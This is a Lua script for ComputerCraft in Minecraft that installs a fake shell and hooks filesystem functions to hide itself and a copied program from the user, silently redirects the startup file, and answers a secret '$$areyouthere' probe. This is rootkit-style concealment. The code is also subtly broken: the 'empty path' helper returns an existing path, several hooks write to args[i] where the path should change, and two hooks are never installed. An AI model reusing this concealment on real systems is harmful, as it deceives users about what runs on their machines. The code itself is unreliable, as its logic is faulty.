FakeOS.lua

-- #### Vars

userStartupPath = "userStartup"
osName = "fakeOS"
hiddenPrograms = {osName, "edit"}
fake = {}
real = {}

-- #### "Local" functions

function getAnEmptyPath()
    while true do
        local dir = tostring(math.random(1, 65535))
        if real.exists(dir) then
            return dir
        end
    end
end

function shouldBeHidden(path)
    for i=1, #hiddenPrograms do
        if string.lower(path) == string.lower(hiddenPrograms[i]) then
            return true
        end
    end
    return false
end

function writeYellow(text)
    if term.isColor() then
        term.setTextColor(colors.yellow)
        term.write(text)
        term.setTextColor(colors.white)
    else
        term.write(text)
    end
end
term.writeYellow = writeYellow

function splitIntoArgs(str)
    i=0
    arg = {}
    -- %S  -> A character that isn't a space
    -- +   -> Or more than one
    -- %S+ -> Any group of character not separated by a space
    -- string.gmatch(str, "%S+") : Splits the string when a space is encountered
    for w in string.gmatch(str, "%S+") do
        i=i+1
        arg[i]=w
    end
    if type(arg) == "table" then
        if #arg > 0 then
            return arg
        end
    end
    return false
end

-- #### Tweaking compromising functions

real.list = fs.list
function fakeList(path)
    list = real.list(path)
    for j=1, #hiddenPrograms do
        for i=1,#list do
            if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then
                table.remove(list, i)
                break
            end
        end
    end

    for i=1,#list do
        if list[i] == userStartupPath then
            list[i] = "startup"
        end
    end
    return list
end
fs.list = fakeList

real.exists = fs.exists
function fakeExists(path)
    if shouldBeHidden(path) then
        path = getAnEmptyPath()
    end
    if string.lower(path) == "startup" then
        args[i] = userStartupPath
    end

    return real.exists(path)
end
fs.exists = fakeExists

real.isReadOnly = fs.isReadOnly
function fakeIsReadOnly(path)
    if shouldBeHidden(path) then
        path = getAnEmptyPath()
    end
    if string.lower(path) == "startup" then
        args[i] = userStartupPath
    end

    return real.isReadOnly(path)
end
fs.isReadOnly = fakeIsReadOnly

real.getSize = fs.getSize
function fakeGetSize(path)
    if shouldBeHidden(path) then
        path = getAnEmptyPath()
    end
    if string.lower(path) == "startup" then
        args[i] = userStartupPath
    end

    return real.getSize(path)
end
fs.getSize = fakeGetSize

real.move = fs.move
function fakeMove(fromPath, toPath)
    if shouldBeHidden(fromPath) then
        fromPath = getAnEmptyPath()
    end
    if string.lower(fromPath) == "startup" then
        args[i] = userStartupPath
    end

    if shouldBeHidden(toPath) then
        toPath = getAnEmptyPath()
    end
    if string.lower(toPath) == "startup" then
        args[i] = userStartupPath
    end

    return real.move(fromPath, toPath)
end
fs.move = fakeMove

real.copy = fs.copy
function fakeCopy(fromPath, toPath)
    if shouldBeHidden(fromPath) then
        fromPath = getAnEmptyPath()
    end
    if string.lower(fromPath) == "startup" then
        args[i] = userStartupPath
    end

    if shouldBeHidden(toPath) then
        toPath = getAnEmptyPath()
    end
    if string.lower(toPath) == "startup" then
        args[i] = userStartupPath
    end

    return real.copy(fromPath, toPath)
end
fs.copy = fakeCopy

real.delete = fs.delete
function fakeDelete(path)
    if shouldBeHidden(path) then
        path = getAnEmptyPath()
    end
    if string.lower(path) == "startup" then
        args[i] = userStartupPath
    end

    return real.delete(path)
end

real.open = fs.open
function fakeOpen(path, mode)
    if shouldBeHidden(path) then
        path = getAnEmptyPath()
    end
    if string.lower(path) == "startup" then
        args[i] = userStartupPath
    end

    return real.open(path, mode)
end

-- #### Actual FakeOS

shell.run("copy", "roms/programs/edit", "edit")


term.clear()
term.setCursorPos(1,1)
term.writeYellow(os.version())
term.setCursorPos(1,2)

while true do
    term.writeYellow(shell.dir().."> ")
    input = io.read()
    if input == "$$areyouthere" then
        print("Yes.")
    end

    if type(input) == "string" then
        args = splitIntoArgs(input)
        command = table.remove(args, 1) -- command = args[1] and then it pops off args[1] from the table

        for j=1, #hiddenPrograms do
            for i=1, #args do
                if string.lower(args[i]) == string.lower(hiddenPrograms[j]) then
                    command = nil
                end
            end
        end

        for i=1, #args do
            if string.lower(args[i]) == "startup" then
                args[i] = userStartupPath
            end
        end

        if type(command) == "string" then
            shell.run(command, args[1], args[2], args[3], args[4], args[5], args[6], args[7], args[8], args[9], args[10])
        end
    end
end